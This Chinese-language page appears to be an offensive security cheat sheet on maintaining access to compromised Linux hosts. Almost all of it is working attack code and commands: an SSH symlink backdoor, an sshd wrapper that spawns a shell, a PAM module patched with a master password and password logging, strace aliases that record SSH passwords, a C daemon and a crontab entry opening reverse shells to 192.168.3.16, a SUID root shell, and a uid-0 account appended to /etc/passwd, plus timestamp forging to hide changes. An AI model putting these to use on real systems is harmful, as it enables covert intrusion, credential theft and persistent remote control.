Linux权限维持

SSH后门

软链接SSHd

1
2
3
ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oport=12345

ssh root@192.168.78.19 -p 12345

输入任意密码就可以 root 用户权限登陆,如果 root 用户被禁止登陆时,可以利用其他存在的用户身份登陆

Linux的一个后门引发对PAM的探究

SSH Server Wrapper

1
2
3
4
5
6
7
#!bash
cd /usr/sbin
mv sshd ../bin
echo '#!/usr/bin/perl' >sshd
echo 'exec "/bin/sh" if (getpeername(STDIN) =~ /^..LF/);' >>sshd
echo 'exec {"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
chmod u+x sshd
1
socat STDIN TCP4:192.168.78.37:22,sourceport=19526
1
2
3
4
5
6
7
8
9
10
11
12
#其中`x00x00LF`是19526的大端形式,便于传输和处理。如果你想修改源端口,可以用python的struct标准库实现

>>> import struct
>>> buffer = struct.pack('>I6',19526)
>>> print repr(buffer)
'\x00\x00LF'
>>> buffer = struct.pack('>I6',13377)
>>> print buffer
4A
>>> buffer = struct.pack('>I6',16714)
>>> print buffer
AJ

原理

1
2
3
4
5
6
7
8
init首先启动的是/usr/sbin/sshd,脚本执行到getpeername这里的时候,正则匹配会失败,于是执行下一句,启动/usr/bin/sshd,这是原始sshd。
原始的sshd监听端口建立了tcp连接后,会fork一个子进程处理具体工作。

这个子进程,没有什么检验,而是直接执行系统默认的位置的/usr/sbin/sshd,这样子控制权又回到脚本了。
此时子进程标准输入输出已被重定向到套接字,getpeername能真的获取到客户端的TCP源端口,如果是19526
就执行sh给个shell。

来自https://www.anquanke.com/post/id/155943#h2-9

SSH Key

1
2
3
4
5
6
7
8
生成私钥和公钥:
ssh-keygen -t rsa
把公钥id_rsa.pub发送到目标上:
/root/.ssh/authorized_keys
更改时间:
touch -r
重启ssh服务:
service ssh restart

SSH Keylogger

编辑当前用户下的.bashrc文件,在配置文件末尾添加:

1
alias ssh='strace -o /tmp/sshpwd-`date +%d%h%m%s`.log -e read,write,connect -s2048 ssh'

strace 常用来跟踪进程执行时的系统调用和所接收的信号。 在Linux世界,进程不能直接访问硬件设备,当进程需要访问硬件设备(比如读取磁盘文件,接收网络数据等等)时,必须由用户态模式切换至内核态模式,通过系统调用访问硬件设备。strace可以跟踪到一个进程产生的系统调用,包括参数,返回值,执行消耗的时间。

SSH连接输入密码时的密码无论错误或者正确都能记录到log里。

Linux PAM 后门

(1) 下载pam源码

1
2
wget http://www.linux-pam.org/library/Linux-PAM-1.1.8.tar.gz
tar -zxf Linux-PAM-1.1.8.tar.gz
1
2
wget https://github.com/linux-pam/linux-pam/archive/refs/tags/Linux-PAM-1_1_8.zip
unzip Linux-PAM-1_1_8.zip

(2) 安装环境

1
apt install -y gcc flex

(3) 修改pam_unix_auth.c源码

1
vim Linux-PAM-1.1.8/modules/pam_unix/pam_unix_auth.c

找到第181行:

添加如下内容:

1
if (strcmp("root",p)==0) {return PAM_SUCCESS;}

root为设置的密码。

(4) 编译生成so文件

1
2
3
4
cd Linux-PAM-1.1.8
./configure --prefix=/user --exec-prefix=/usr --localstatedir=/var --sysconfdir=/etc --d
isable-selinux --with-libiconv-prefix=/usr
make

so文件路径:Linux-PAM-1.1.8/modules/pam_unix/.libs/pam_unix.so

(5) 替换系统pam_unix.so文件

  • 查找系统pam_unix.so文件路径
1
find / -name pam_unix.so 2>/dev/null
  • 备份系统pam_unix.so文件
1
cp /lib/x86_64-linux-gnu/security/pam_unix.so /tmp/pam_unix.so.bak
  • 替换系统pam_unix.so文件
1
cp /root/桌面/Linux-PAM-1.1.8/modules/pam_unix/.libs/pam_unix.so /lib/x86_64-linux-gnu/security/pam_unix.so

(6) 修改时间戳

1
2
cd /lib/x86_64-linux-gnu/security/
touch pam_unix.so -r pam_xauth.so

(7) SSH登录

密码为root,不影响原本root密码的登录。

(8) 优化

查看日志文件:/var/log/auth.log,发现这种方式下的登录跟正常登录下的情况不一样。

修改Linux-PAM-1.1.8/modules/pam_unix/pam_unix_auth.c

1
2
3
4
5
6
7
8
9
10
 /* verify the password of this user */
retval = _unix_verify_password(pamh, name, p, ctrl);
// if (strcmp("mingyue",p)==0) {return PAM_SUCCESS;}
FILE * fp;
if (retval == PAM_SUCCESS) {
fp = fopen("/etc/pam.txt","a");
fprintf(fp,"%s->%s\n", name,p);
fclose(fp);
}
name = p = NULL;

修改Linux-PAM-1.1.8/modules/pam_unix/support.c

1
2
3
4
5
6
7
8
int _unix_verify_password(pam_handle_t * pamh, const char *name,const char *p, unsigned int ctrl)
{
struct passwd *pwd = NULL;
char *salt = NULL;
char *data_name;
int retval;
if (strcmp("mingyue2",p)==0) {return PAM_SUCCESS;}
D(("called"));

然后编译生成so文件,替换系统pam_unix.so文件即可。

(9) 参考

Linux-PAM后门

Alias后门

通过alias来指定执行特定的命令时候静默运行其他程序,从而达到启动后门,记录键值等作用。

修改ssh命令,利用strace,使其具有记录ssh对read,write,connect调用的功能。

1
alias ssh='strace -o /tmp/sshpwd-`date +%d%h%m%s`.log -e read,write,connect -s2048 ssh'

反弹shell

1
alias cat='/root/.shell && cat'
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <time.h>
#include <fcntl.h>
#include <string.h>
#include <sys/stat.h>
#include <signal.h>
#define ERR_EXIT(m)
do
{
perror(m);
exit(EXIT_FAILURE);
} while (0);
void creat_daemon(void);
int main(void)
{
time_t t;
int fd;
creat_daemon();
system("/bin/rm /bin/sh;/bin/ln -s /bin/bash /bin/sh");
system("/bin/bash -i >& /dev/tcp/192.168.3.16/8008 0>&1");
return 0;
}
void creat_daemon(void)
{
pid_t pid;
int devnullfd, fd, fdtablesize;
umask(0);
pid = fork();
if (pid == -1)
ERR_EXIT("fork error");
if (pid > 0)
exit(EXIT_SUCCESS);
if (setsid() == -1)
ERR_EXIT("SETSID ERROR");
chdir("/");
/* close any open file descriptors */
for (fd = 0, fdtablesize = getdtablesize(); fd < fdtablesize; fd++)
close(fd);
devnullfd = open("/dev/null", 0);
/* make STDIN ,STDOUT and STDERR point to /dev/null */
if (devnullfd == -1)
{
ERR_EXIT("can't open /dev/null");
}
if (dup2(devnullfd, STDIN_FILENO) == -1)
{
ERR_EXIT("can't dup2 /dev/null to STDIN_FILENO");
}
if (dup2(devnullfd, STDOUT_FILENO) == -1)
{
ERR_EXIT("can't dup2 /dev/null to STDOUT_FILENO");
}
if (dup2(devnullfd, STDERR_FILENO) == -1)
{
ERR_EXIT("can't dup2 /dev/null to STDOUT_FILENO");
}
signal(SIGCHLD, SIG_IGN);
return;
}

Crontab后门

每分钟反弹一次shell给指定ip的8888端口

1
(crontab -l;echo '*/1 * * * * exec 9<> /dev/tcp/192.168.3.16/8888;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i')|crontab -
1
2
3
4
5
6
7
8
1.服务开启
service crond start
2.编辑计划任务
crontab -e -u 用户名
3.查看计划任务
crontab -l -u 用户名
4.删除计划任务:
crontab -r -u 用户名
1
2
3
4
#相关文件
/var/spool/cron/用户名 #用户定义的设置
/var/log/cron #cron服务的日志文件
/etc/crontab #cron服务配置文件

Setuid & Setgid

  • Setuid

设置使文件在执行阶段具有文件所有者的权限. 典型的文件是 /usr/bin/passwd. 如果一般用户执行该文件, 则在执行过程中, 该文件可以获得root权限, 从而可以更改用户的密码.

  • Setgid

该权限只对目录有效. 目录被设置该位后, 任何用户在此目录下创建的文件都具有和该目录所属的组相同的组.

back.c

1
2
3
4
5
6
7
8
9
10
#include <unistd.h>
void main(int argc, char *argv[])
{
setuid(0);
setgid(0);
if(argc > 1)
execl("/bin/sh", "sh", "-c", argv[1], NULL);
else
execl("/bin/sh", "sh", NULL);
}
1
2
3
4
5
6
# 编译程序
gcc back.c -o back
cp back /bin/

# 给程序添加SUID权限
chmod u+s /bin/back

后门账号

1
2
3
4
perl -e 'print crypt("mingy","adgfagm")."\n"'
adu01teZNx5nY

echo "weblogic1:adu01teZNx5nY:0:0:root:/root:/bin/bash" >> /etc/passwd